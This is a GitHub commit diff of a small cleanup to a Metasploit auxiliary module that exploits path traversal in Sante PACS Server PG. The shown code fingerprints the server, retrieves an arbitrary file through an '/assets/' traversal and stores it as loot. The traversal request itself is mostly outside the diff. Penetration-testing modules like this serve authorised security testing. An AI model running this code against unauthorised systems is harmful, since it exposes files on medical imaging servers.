Skip to content

Commit 60387de

Browse files
committed
cleanup
cleanup
1 parent 514f51d commit 60387de

File tree

1 file changed

+12
-7
lines changed

1 file changed

+12
-7
lines changed

modules/auxiliary/gather/pacsserver_traversal.rb

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,8 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
16
class MetasploitModule < Msf::Auxiliary
27
include Msf::Exploit::Remote::HttpClient
38
include Msf::Auxiliary::Report
@@ -47,18 +52,18 @@ def check
4752
begin
4853
res = send_request_cgi({
4954
'method' => 'GET',
50-
'uri' => normalize_uri(target_uri.path, 'index.html ')
55+
'uri' => normalize_uri(target_uri.path, 'index.html')
5156
})
5257
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
53-
return CheckCode::Unknown
58+
return CheckCode::Unknown('Connection failed')
5459
end
5560

5661
if res && res.code == 200
5762
data = res.to_s
5863
if data.include?('Sante PACS Server PG')
59-
vprint_status('Sante PACS Server PG seems to be running on the server.')
60-
return CheckCode::Detected
64+
return CheckCode::Detected('Sante PACS Server PG seems to be running on the server.')
6165
end
66+
6267
return CheckCode::Safe
6368
end
6469
return CheckCode::Unknown
@@ -75,9 +80,9 @@ def run
7580

7681
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
7782
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server. If you believe the path is correct, try increasing the path traversal depth.') if res.code != 200
78-
print_good("File retrieved: /assets/#{traversal}")
83+
print_good("File retrieved: #{target_uri.path}assets/#{traversal}")
7984

80-
store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')
81-
print_status('File saved as loot.')
85+
path = store_loot('pacsserver.file', 'text/plain', datastore['RHOSTS'], res.body, datastore['FILE'], 'File retrieved through PACS Server path traversal.')
86+
print_status("File saved as loot: #{path}")
8287
end
8388
end

0 commit comments

Comments
 (0)